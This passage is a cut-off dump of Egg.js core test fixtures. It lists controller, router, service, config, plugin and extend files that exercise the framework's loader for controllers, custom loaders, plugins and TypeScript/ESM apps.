    "path": "packages/core/test/fixtures/context-loader/config/config.default.js",
    "content": "'use strict';\n\nexports.name = 'config';\n"
  },
  {
    "path": "packages/core/test/fixtures/context-loader/package.json",
    "content": "{\n  \"name\": \"context-loader\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/admin/config.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class AdminConfig extends app.Controller {\n    async getName() {\n      this.ctx.body = this.pathName;\n    }\n\n    async getFullPath() {\n      this.ctx.body = this.fullPath;\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/async_function.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'done';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/class.js",
    "content": "module.exports = class HomeController {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  callFunction() {\n    this.ctx.body = 'done';\n  }\n\n  async callGeneratorFunction() {\n    this.ctx.body = await this.ctx.service.home.info();\n  }\n\n  async callGeneratorFunctionWithArg(ctx) {\n    ctx.body = await ctx.service.home.info();\n  }\n\n  async callAsyncFunction() {\n    this.ctx.body = await this.ctx.service.home.info();\n  }\n\n  async callAsyncFunctionWithArg(ctx) {\n    ctx.body = await ctx.service.home.info();\n  }\n\n  // won't be loaded\n  get nofunction() {\n    return 'done';\n  }\n\n  get request() {\n    return this.ctx.request;\n  }\n\n  set body(val) {\n    this.ctx.body = val;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/class_inherited.js",
    "content": "'use strict';\n\nclass BaseController {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  callInheritedFunction() {\n    this.ctx.body = 'inherited';\n  }\n\n  callOverriddenFunction() {\n    this.ctx.body = 'base';\n  }\n}\n\nmodule.exports = class HomeController extends BaseController {\n  callOverriddenFunction() {\n    this.ctx.body = 'own';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/class_wrap_function.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class HomeController extends app.Controller {\n    get() {\n      this.ctx.body = 'done';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/function_attr.js",
    "content": "'use strict';\n\nexports.getAccountInfo = async function () {\n  const [name] = this.request.body || [];\n  if (!name) {\n    throw Error('please provide name');\n  }\n  this.body = 'your name is ' + name;\n};\n\nexports.getAccountInfo.operationType = true;\n\nexports.foo = {\n  bar: async function () {\n    return 'account.foo.bar() is called!';\n  },\n};\n\nexports.foo.bar.operationType = {\n  value: 'account.foo.bar',\n  name: 'account.foo.bar',\n  desc: 'account.foo.bar',\n  checkSign: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/generator_function.js",
    "content": "module.exports = async function () {\n  this.body = 'done';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/generator_function_ctx.js",
    "content": "'use strict';\n\nmodule.exports = async function (ctx) {\n  ctx.body = 'done';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/number.js",
    "content": "'use strict';\n\nmodule.exports = 123;\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/object.js",
    "content": "module.exports = {\n  callFunction() {\n    this.body = 'done';\n  },\n\n  async callGeneratorFunction() {\n    this.body = await this.service.home.info();\n  },\n\n  async callGeneratorFunctionWithArg(ctx) {\n    ctx.body = await ctx.service.home.info();\n  },\n\n  subObject: {\n    async callGeneratorFunction() {\n      this.body = await this.service.home.info();\n    },\n    subSubObject: {\n      async callGeneratorFunction() {\n        this.body = await this.service.home.info();\n      },\n    },\n  },\n\n  async callAsyncFunction() {\n    this.body = await this.service.home.info();\n  },\n\n  async callAsyncFunctionWithArg(ctx) {\n    ctx.body = await ctx.service.home.info();\n  },\n\n  get nofunction() {\n    return 'done';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/resource_class.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Resource extends app.Controller {\n    async index(ctx) {\n      ctx.body = 'index';\n    }\n\n    async create(ctx) {\n      ctx.body = 'create';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/controller/resource_object.js",
    "content": "'use strict';\n\nexports.index = async function () {\n  this.body = 'index';\n};\n\nexports.create = async (ctx) => {\n  ctx.body = 'create';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/async-function', 'asyncFunction');\n  app.get('/generator-function', 'generatorFunction');\n  app.get('/generator-function-ctx', 'generatorFunctionCtx');\n\n  app.get('/object-function', 'object.callFunction');\n  app.get('/object-generator-function', 'object.callGeneratorFunction');\n  app.get('/subObject-generator-function', 'object.subObject.callGeneratorFunction');\n  app.get('/subSubObject-generator-function', 'object.subObject.subSubObject.callGeneratorFunction');\n  app.get('/object-generator-function-arg', 'object.callGeneratorFunctionWithArg');\n  app.get('/object-async-function', 'object.callAsyncFunction');\n  app.get('/object-async-function-arg', 'object.callAsyncFunctionWithArg');\n\n  app.get('/class-function', 'class.callFunction');\n  app.get('/class-generator-function', 'class.callGeneratorFunction');\n  app.get('/class-generator-function-arg', 'class.callGeneratorFunctionWithArg');\n  app.get('/class-async-function', 'class.callAsyncFunction');\n  app.get('/class-async-function-arg', 'class.callAsyncFunctionWithArg');\n\n  app.get('/class-inherited-function', 'classInherited.callInheritedFunction');\n  app.get('/class-overridden-function', 'classInherited.callOverriddenFunction');\n\n  app.get('/class-wrap-function', 'classWrapFunction.get');\n  app.get('/class-pathname', 'admin.config.getName');\n  app.get('/class-fullpath', 'admin.config.getFullPath');\n\n  app.resources('/resources-class', 'resourceClass');\n  app.resources('/resources-object', 'resourceObject');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/app/service/home.js",
    "content": "const { setTimeout } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  return class HomeService extends app.Service {\n    async info() {\n      await setTimeout(10);\n      return 'done';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-app/package.json",
    "content": "{\n  \"name\": \"controller-app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-next-argument/app/controller/home.js",
    "content": "'use strict';\n\nexports.next = async function (next) {\n  await next();\n  this.body = 'done';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-next-argument/package.json",
    "content": "{\n  \"name\": \"controller-next-argument\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/app/controller/class.js",
    "content": "'use strict';\n\nmodule.exports = class HomeController {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  async generatorFunction(...args) {\n    this.ctx.body = 'done';\n    return args;\n  }\n\n  async asyncFunction(...args) {\n    this.ctx.body = 'done';\n    return args;\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/app/controller/generator_function.js",
    "content": "'use strict';\n\nmodule.exports = async function (...args) {\n  this.body = 'done';\n  return args;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/app/controller/object.js",
    "content": "'use strict';\n\nmodule.exports = {\n  async callFunction(...args) {\n    this.body = 'done';\n    return args;\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/generator-function', 'generatorFunction');\n  app.get('/object-function', 'object.callFunction');\n  app.get('/class-function', 'class.asyncFunction');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/config/config.default.js",
    "content": "'use strict';\n\nexports.controller = {\n  supportParams: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/controller-params/package.json",
    "content": "{\n  \"name\": \"controller-params\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/adapter/docker.js",
    "content": "class DockerAdapter {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async inspectDocker() {\n    return this.app.config.customLoader.adapter;\n  }\n}\n\nmodule.exports = DockerAdapter;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/controller/user.js",
    "content": "'use strict';\n\nclass UserController {\n  constructor(ctx) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n\n  async get() {\n    this.ctx.body = {\n      adapter: await this.app.adapter.docker.inspectDocker(),\n      repository: await this.ctx.repository.user.get(),\n    };\n  }\n}\n\nmodule.exports = UserController;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/plugin/a.js",
    "content": "'use strict';\n\nclass PluginA {\n  getName() {\n    return 'plugina';\n  }\n}\n\nmodule.exports = PluginA;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/repository/user.js",
    "content": "'use strict';\n\nclass UserRepository {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  async get() {\n    return this.ctx.params.name;\n  }\n}\n\nmodule.exports = UserRepository;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.router.get('/users/:name', app.controller.user.get);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/util/sub/fn.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return {\n    echo() {\n      return `echo ${app.config.pkgName}`;\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/app/util/test.js",
    "content": "'use strict';\n\nexports.sayHi = (name) => `hi, ${name}`;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/config/b/app/plugin/b.js",
    "content": "'use strict';\n\nclass PluginB {\n  getName() {\n    return 'pluginb';\n  }\n}\n\nmodule.exports = PluginB;\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/config/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  pkgName: 'custom_loader',\n  customLoader: {\n    adapter: {\n      directory: 'app/adapter',\n      inject: 'app',\n    },\n    util: {\n      directory: 'app/util',\n      inject: 'app',\n    },\n    repository: {\n      directory: 'app/repository',\n      inject: 'ctx',\n    },\n    plugin: {\n      directory: 'app/plugin',\n      inject: 'app',\n      loadunit: true,\n    },\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.b = {\n  enable: true,\n  path: path.join(__dirname, 'b'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom-loader/package.json",
    "content": "{\n  \"name\": \"custom-loader\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/custom_session_invaild/app/middleware/session.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom_session_invaild/config/config.js",
    "content": "exports.middleware = ['session'];\n\nexports.hsf = {\n  enable: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/custom_session_invaild/package.json",
    "content": "{\n  \"name\": \"custom_session_invaild\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/deprecate/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get env() {\n    this.deprecate('please use app.config.env instead');\n    return this.deprecate;\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/deprecate/package.json",
    "content": "{\n  \"name\": \"deprecate\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/dont-load-plugin/config/plugin.js",
    "content": "const path = require('path');\n\nexports.testMe = {\n  enable: true,\n  env: ['local'],\n  path: path.join(__dirname, '../../../plugins/test-me'),\n};\n\nexports.testMeAli = {\n  enable: true,\n  path: path.join(__dirname, '../../../plugins/test-me-ali'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/dont-load-plugin/package.json",
    "content": "{\n  \"name\": \"dont-load-plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/app/extend/application.js",
    "content": "module.exports = {\n  get Proxy() {\n    return this.BaseContextClass;\n  },\n  get [Symbol.for('view')]() {\n    return 'egg';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/app/middleware/status.ts",
    "content": "export default function () {\n  return (ctx: any, next: any) => {\n    ctx.traceId = `trace:${Date.now()}`;\n    if (ctx.path === '/status') {\n      ctx.body = 'egg status';\n      return;\n    }\n\n    return next();\n  };\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/config/config.default.ts",
    "content": "export default {\n  coreMiddleware: ['status'],\n\n  urllib: {\n    keepAlive: true,\n    keepAliveTimeout: 30000,\n    timeout: 30000,\n    maxSockets: Infinity,\n    maxFreeSockets: 256,\n  },\n\n  egg: 'egg',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/config/config.unittest.js",
    "content": "'use strict';\n\nmodule.exports = {\n  egg: 'egg-unittest',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  session: {\n    enable: true,\n    path: path.join(__dirname, '../node_modules/session'),\n  },\n\n  hsfclient: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/hsfclient'),\n  },\n\n  configclient: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/configclient'),\n  },\n\n  eagleeye: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/eagleeye'),\n  },\n\n  diamond: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/diamond'),\n  },\n\n  zzz: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/zzz'),\n  },\n\n  package: {\n    enable: true,\n    package: 'package',\n  },\n\n  opt: {\n    enable: false,\n    package: 'opt',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/index.js",
    "content": "const { EggLoader, EggCore } = require('../../..');\n\nclass AppLoader extends EggLoader {\n  async loadAll() {\n    await this.loadPlugin();\n    await this.loadConfig();\n    await this.loadApplicationExtend();\n    await this.loadContextExtend();\n    await this.loadRequestExtend();\n    await this.loadResponseExtend();\n    await this.loadCustomApp();\n    await this.loadMiddleware();\n    await this.loadService();\n    await this.loadController();\n    await this.loadRouter();\n  }\n}\n\nclass Application extends EggCore {\n  constructor(options = {}) {\n    super(options);\n    this.on('error', (err) => {\n      console.error(err);\n    });\n  }\n\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n  get [Symbol.for('egg#loader')]() {\n    return AppLoader;\n  }\n}\n\nexports.Application = Application;\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/package.json",
    "content": "{\n  \"name\": \"egg\",\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/plugins/configclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"configclient\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/plugins/diamond/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"diamond\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/plugins/eagleeye/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"eagleeye\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/plugins/hsfclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"hsfclient\",\n    \"dep\": [\n      \"eagleeye\",\n      \"configclient\",\n      \"diamond\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg/plugins/zzz/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zzz\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/app/extend/application.js",
    "content": "export default {\n  get Proxy() {\n    return this.BaseContextClass;\n  },\n  get [Symbol.for('view')]() {\n    return 'egg';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/app/middleware/status.ts",
    "content": "export default function () {\n  return (ctx: any, next: any) => {\n    ctx.traceId = `trace:${Date.now()}`;\n    if (ctx.path === '/status') {\n      ctx.body = 'egg status';\n      return;\n    }\n\n    return next();\n  };\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/config/config.default.js",
    "content": "export default {\n  coreMiddleware: ['status'],\n\n  urllib: {\n    keepAlive: true,\n    keepAliveTimeout: 30000,\n    timeout: 30000,\n    maxSockets: Infinity,\n    maxFreeSockets: 256,\n  },\n\n  egg: 'egg',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/config/config.unittest.js",
    "content": "export default {\n  egg: 'egg-unittest',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/config/plugin.js",
    "content": "import { fileURLToPath } from 'node:url';\nimport path from 'path';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport default {\n  session: {\n    enable: true,\n    path: path.join(__dirname, '../node_modules/session'),\n  },\n\n  hsfclient: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/hsfclient'),\n  },\n\n  configclient: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/configclient'),\n  },\n\n  eagleeye: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/eagleeye'),\n  },\n\n  diamond: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/diamond'),\n  },\n\n  zzz: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/zzz'),\n  },\n\n  package: {\n    enable: true,\n    package: 'package',\n  },\n\n  opt: {\n    enable: false,\n    package: 'opt',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/index.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport { EggLoader, EggCore, type EggCoreInitOptions } from '../../../src/index.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nclass AppLoader extends EggLoader {\n  async loadAll(): Promise<void> {\n    await this.loadPlugin();\n    await this.loadConfig();\n    await this.loadApplicationExtend();\n    await this.loadContextExtend();\n    await this.loadRequestExtend();\n    await this.loadResponseExtend();\n    await this.loadCustomApp();\n    await this.loadMiddleware();\n    await this.loadService();\n    await this.loadController();\n    await this.loadRouter();\n  }\n}\n\nexport class Application extends EggCore {\n  declare loader: AppLoader;\n\n  constructor(options: EggCoreInitOptions = {}) {\n    super(options);\n    this.on('error', (err: any) => {\n      console.error(err);\n    });\n  }\n\n  protected override customEggPaths(): string[] {\n    return [__dirname, ...super.customEggPaths()];\n  }\n\n  protected override customEggLoader(): typeof EggLoader {\n    return AppLoader;\n  }\n}\n\nexport { type EggCoreInitOptions } from '../../../src/index.ts';\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/node_modules/opt/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"opt\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/node_modules/package/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"package\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/node_modules/session/app.js",
    "content": "module.exports = app => {\n  app.sessionCache = {\n    async getSessionById(sessionId) {\n      const ctx = app.currentContext;\n      const traceId = ctx && ctx.traceId;\n      console.log('[session.cache] getSessionById %s, traceId: %s', sessionId, traceId);\n      return {\n        sessionId,\n        traceId,\n      };\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/node_modules/session/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"session\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/package.json",
    "content": "{\n  \"name\": \"egg\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/plugins/configclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"configclient\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/plugins/diamond/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"diamond\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/plugins/eagleeye/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"eagleeye\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/plugins/hsfclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"hsfclient\",\n    \"dep\": [\n      \"eagleeye\",\n      \"configclient\",\n      \"diamond\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-esm/plugins/zzz/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zzz\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/agent.ts",
    "content": "module.exports = (app: any) => {\n  app.fromCustomAgent = 'from custom agent';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/controller/home.ts",
    "content": "module.exports = async (ctx: any) => {\n  const serviceText = ctx.service.test.getTest();\n  ctx.helper = new ctx.app.Helper();\n  ctx.body = [\n    ctx.contextShow(),\n    ctx.app.applicationShow(),\n    ctx.request.requestShow(),\n    ctx.response.responseShow(),\n    ctx.app.agentShow(),\n    ctx.helper.helperShow(),\n    ctx.app.fromCustomApp,\n    ctx.app.fromCustomAgent,\n    ctx.app.config.test,\n    ctx.app.config.testFromA,\n    ctx.mid,\n    serviceText,\n  ].join(',');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/agent.ts",
    "content": "module.exports = {\n  agentShow() {\n    return 'from extend agent';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/application.ts",
    "content": "module.exports = {\n  applicationShow() {\n    return 'from extend application';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/context.ts",
    "content": "module.exports = {\n  contextShow() {\n    return 'from extend context';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/helper.ts",
    "content": "module.exports = {\n  helperShow() {\n    return 'from extend helper';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/request.ts",
    "content": "module.exports = {\n  requestShow() {\n    return 'from extend request';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/extend/response.ts",
    "content": "module.exports = {\n  responseShow() {\n    return 'from extend response';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/middleware/mid.ts",
    "content": "export default () => {\n  return async (ctx: any, next: any) => {\n    ctx.mid = 'from middleware';\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/router.ts",
    "content": "module.exports = (app: any) => {\n  const { router, controller } = app;\n  router.get('/', controller.home);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app/service/Test.ts",
    "content": "module.exports = class TestService {\n  getTest() {\n    return 'from service';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/app.ts",
    "content": "module.exports = (app: any) => {\n  app.fromCustomApp = 'from custom app';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/config/config.default.ts",
    "content": "module.exports = () => {\n  return {\n    middleware: ['mid'],\n    test: 'from config.default',\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/config/plugin.ts",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    path: path.resolve(__dirname, '../plugins/a'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/package.json",
    "content": "{\n  \"name\": \"egg-ts\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/plugins/a/config/config.default.ts",
    "content": "module.exports = () => {\n  return {\n    testFromA: 'from plugins',\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts/plugins/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/app/controller/god.d.ts",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/app/controller/test.ts",
    "content": "module.exports = async (ctx: any) => {\n  ctx.body = 'ok';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/app/extend/application.ts",
    "content": "module.exports = {\n  appExtend: 'hello',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/app/service/lord.js",
    "content": "module.exports = class LordService {\n  jsService() {\n    return 'from js service';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/app/service/test.ts",
    "content": "module.exports = class TestService {\n  tsService() {\n    return 'from ts service';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js/package.json",
    "content": "{\n  \"name\": \"egg-ts\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/app/controller/god.d.ts",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/app/controller/test.ts",
    "content": "module.exports = async (ctx) => {\n  ctx.body = 'ok';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/app/extend/application.ts",
    "content": "module.exports = {\n  appExtend: 'hello',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/app/service/lord.js",
    "content": "module.exports = class LordService {\n  jsService() {\n    return 'from js service';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/app/service/test.ts",
    "content": "module.exports = class TestService {\n  tsService() {\n    return 'from ts service';\n  }\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/package.json",
    "content": "{\n  \"name\": \"egg-ts\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/egg-ts-js-tsconfig-paths/tsconfig.json",
    "content": "{}\n"
  },
  {
    "path": "packages/core/test/fixtures/eggpath/package.json",
    "content": "{\n  \"name\": \"eggpath\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/env-disable/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: true,\n    package: '@ali/a',\n  },\n  b: {\n    enable: true,\n    package: '@ali/b',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/env-disable/node_modules/@ali/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dep\": [ \"b\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/env-disable/node_modules/@ali/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\",\n    \"env\": [ \"local\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/env-disable/package.json",
    "content": "{\n  \"name\": \"env-disable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  const status = Number(this.query.status || 200);\n  this.status = status;\n  this.etag = '2.2.2.2';\n  this.body = {\n    returnAppContext: this.appContext,\n    returnPluginbContext: this.pluginbContext,\n    returnAppRequest: this.request.appRequest,\n    returnPluginbRequest: this.request.pluginbRequest,\n    returnAppResponse: this.response.appResponse,\n    returnPluginbResponse: this.response.pluginbResponse,\n    returnAppApplication: this.app.appApplication,\n    returnPluginbApplication: this.app.pluginbApplication,\n    status: this.status,\n    etag: this.etag,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/controller/merge.js",
    "content": "exports.appOverrideChair = async function () {\n  this.body = {\n    value: this.ajax(),\n  };\n};\n\nexports.pluginOverrideChair = async function () {\n  this.body = {\n    value: this.ip,\n  };\n};\n\nexports.appOverridePlugin = async function () {\n  this.body = {\n    value: this.response.overridePlugin,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get appApplication() {\n    return 'app application';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/extend/call.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return {\n    call: true,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = {\n  get appContext() {\n    return 'app context';\n  },\n\n  ajax: function () {\n    return 'app ajax patch';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/extend/request.js",
    "content": "'use strict';\n\nmodule.exports = {\n  appRequest: 'app request',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/extend/response.js",
    "content": "'use strict';\n\nmodule.exports = {\n  appResponse: 'app response',\n  overridePlugin: 'will override plugin',\n\n  set status(code) {\n    this._explicitStatus = true;\n    this.res.statusCode = code;\n    this.res.statusMessage = 'http status code ' + code;\n  },\n\n  get etag() {\n    return 'etag ok';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', app.controller.home);\n\n  app.get('/merge/app_override_chair', app.controller.merge.appOverrideChair);\n  app.get('/merge/app_override_plugin', app.controller.merge.appOverridePlugin);\n  app.get('/merge/plugin_override_chair', app.controller.merge.pluginOverrideChair);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/extend/config/plugin.js",
